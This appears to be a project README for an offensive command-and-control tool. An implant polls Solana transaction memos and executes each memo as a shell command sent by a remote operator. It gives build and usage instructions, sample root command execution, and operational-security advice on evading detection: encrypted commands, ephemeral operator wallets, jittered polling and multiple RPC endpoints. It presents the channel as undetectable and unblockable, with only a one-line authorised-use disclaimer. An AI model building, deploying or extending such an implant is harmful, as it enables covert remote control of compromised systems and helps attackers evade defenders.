8.8 KiB
🕶️ C2 Blockchain Memo
Command & Control via Solana Transaction Memo Fields
No C2 server. No proxy. No domain. Just the blockchain.
Commands are embedded in Solana transaction memos using the Memo Program. Every transaction is public on-chain — undetectable as C2 traffic. Blocking it would require blocking all Solana RPC traffic, which would break the entire Solana ecosystem.
┌──────────┐ Solana Transaction ┌──────────┐
│ Operator ├──── (transfer + memo) ────→│ Implant │
│ (server) │ 1 lamport + command │ (client) │
└──────────┘ └────┬─────┘
│
Executes command
via os.exec()
How It Works
The Chain as C2 Channel
-
Operator sends a standard Solana transaction containing:
- A 1-lamport SOL transfer to the implant's wallet (creates an on-chain link)
- A Memo Program instruction with the shell command as memo text
-
Implant polls the Solana RPC endpoint for
getSignaturesForAddresson its own wallet address, extracts the memo text from each incoming transaction, and executes it as a shell command. -
No infrastructure. The "server" is just building transactions. The "network" is the Solana blockchain. There's no IP address, no domain, no certificate, no proxy to block.
Cost
- Devnet/Testnet: Free (faucet SOL, no real money)
- Mainnet:
0.000005 SOL per command ($0.001 at current prices)
Build
# Clone or cd into the project
cd c2-suite/c2-blockchain-memo
# Build both binaries
go build -o bin/server ./cmd/server
go build -o bin/client ./cmd/client
# Binaries are in ./bin/
Dependencies
- Go 1.24+
github.com/gagliardetto/solana-go(Solana Go SDK)
Everything is handled by go mod tidy. No manual dependency management needed.
Quick Start (Devnet, Free)
1. Set up wallets
See SETUP_WALLET.md for detailed instructions. The TL;DR:
# Install Solana CLI
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
# Generate operator wallet
solana-keygen new --outfile operator.json
# Generate implant wallet
solana-keygen new --outfile implant.json
# Get free devnet SOL
solana config set --url devnet
solana airdrop 2
2. Start the implant
./bin/client --keypair implant.json --rpc devnet --interval 15
You'll see:
🔭 Watching address: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz
🔗 RPC endpoint: https://api.devnet.solana.com
⏱ Poll interval: 15s (with ±50% jitter)
━━━ C2 Blockchain Memo — Implant ─━━
Listening for commands... Press Ctrl+C to stop.
3. Send a command (in another terminal)
./bin/server --keypair operator.json --rpc devnet
Then in the interactive shell:
› send <IMPLANT_ADDRESS> whoami
Command sent!
Signature: 5KtPn...xyz
Explorer: https://solscan.io/tx/5KtPn...xyz?cluster=devnet
Command: "whoami"
Implant: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz
The implant will receive the command within the next poll cycle:
New command from tx 5KtPn...xyz:
Command: whoami
Output:
root
Usage Reference
Server (Operator)
./bin/server [flags]
Flags:
--keypair string Path to operator keypair (Solana CLI JSON array or base58)
--rpc string RPC endpoint: mainnet-beta, devnet, testnet, or custom URL
(default: "devnet")
Interactive commands:
| Command | Description |
|---|---|
send <ADDRESS> <cmd> |
Send a shell command to an implant |
balance |
Check operator wallet SOL balance |
quit |
Exit |
Client (Implant)
./bin/client [flags]
Flags:
--address string Wallet address to watch (alternative to --keypair)
--keypair string Path to implant keypair (uses its public key as watch address)
--rpc string RPC endpoint (default: "devnet")
--interval int Polling interval in seconds (default: 15)
--limit int Max transactions to fetch per poll (default: 10)
You must provide either --address or --keypair.
The implant:
- Polls the RPC endpoint for incoming transactions to its address
- Extracts memo text from each transaction (using the
memofield ingetSignaturesForAddress— built into Solana runtime) - Executes the memo text as a shell command
- Tracks seen signatures to avoid re-execution
Architecture Details
How the Memo Field Works
Solana's Memo Program (MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr) allows any
transaction to include an arbitrary text message. The memo is:
- Public — anyone can read it on-chain
- Permanent — lives in the ledger forever
- Cheap — costs the same as any other instruction
- Unblockable — can't distinguish from legitimate Memo Program usage
Transaction Structure
Each command transaction contains two instructions:
-
System Program: Transfer — sends 1 lamport from operator → implant
- Creates a detectable on-chain link to the implant's address
- The implant's
getSignaturesForAddresspicks this up - 1 lamport is the smallest unit (0.000000001 SOL)
-
Memo Program: Memo — contains the command text
- The Solana runtime automatically includes the memo text in
getSignaturesForAddressresponse (memofield) - No need to fetch the full transaction to read the command
- The Solana runtime automatically includes the memo text in
Why This is Undetectable as C2
- No C2 infrastructure — no domains, IPs, certificates, or hosting to discover
- Blends with normal traffic — millions of Solana transactions include memos daily (DeFi notes, NFT metadata, DEX tags)
- No pattern to detect — polling an RPC endpoint looks like any other dApp or wallet
- Cannot block without collateral damage — blocking
api.mainnet-beta.solana.comwould break the entire Solana ecosystem
OpSec Notes
-
Memo is public plaintext. Anyone can read commands on-chain via Solscan or any block explorer. For sensitive commands, encrypt the memo payload (e.g., XOR with a pre-shared key, or use a proper AEAD cipher). The implant would decrypt before executing.
-
Wallet fingerprinting. An operator who always uses the same wallet creates a detectable signature pattern. For operational security, use ephemeral operator wallets funded from a central wallet.
-
Polling frequency. Default 15s with jitter balances responsiveness and stealth. Sub-second polling to a single RPC is detectable. Use multiple RPC endpoints for higher-frequency polling.
-
Transaction volume. If you send 10,000 commands from one wallet, that's a pattern. Rotate operator wallets.
Comparison: Solana vs Ethereum for Blockchain C2
| Feature | Solana (this project) | Ethereum |
|---|---|---|
| Tx cost | ~$0.001 | ~$1–$50 (gas) |
| Speed | ~400ms finality | ~12s block time |
| Memo built-in | Yes (Memo Program) | No (requires contract) |
| RPC rate limits | More permissive | Tighter |
| Faucet availability | Easy (devnet) | Easy (testnet) |
| Go SDK quality | Mature (solana-go) | Mature (go-ethereum) |
| Stealth | High (natural memo usage) | High (calldata) |
Solana wins on cost and speed. Ethereum contract storage costs are prohibitive for a C2 channel. Solana transactions cost fractions of a cent.
Encryption Example (AES-GCM)
For production use, encrypt commands before sending:
Server-side (before sending):
// Pseudocode — use a proper key management scheme
plaintext := []byte(command)
ciphertext, _ := aesgcm.Seal(nil, nonce, plaintext, nil)
// Send base64(ciphertext + nonce) as the memo
Client-side (after receiving):
ciphertext := base64.StdEncoding.DecodeString(memo)
plaintext, _ := aesgcm.Open(nil, ciphertext[:12], ciphertext[12:], nil)
executeCommand(string(plaintext))
The Solana chain is public. Encrypt everything in production.
FAQ
Q: Do I need crypto knowledge? A: No. Follow SETUP_WALLET.md. Devnet is free.
Q: Can this be traced back to me? A: Your operator wallet on-chain activity is public. Use ephemeral wallets.
Q: What if the RPC endpoint goes down?
A: Use multiple RPC endpoints (QuickNode, Helius, public RPC pool). The implant
supports custom --rpc URLs.
Q: Can I run this on mainnet with real SOL? A: Yes. Cost is ~$0.001 per command. But don't use it for illegal purposes.
Q: How fast can commands be delivered? A: Solana confirms in ~400ms. Polling adds latency: default 15s with jitter. For faster delivery, use --interval 2 (2s) with multiple RPC endpoints.
DISCLAIMER
For authorized Security Testing or Educational Purposes only.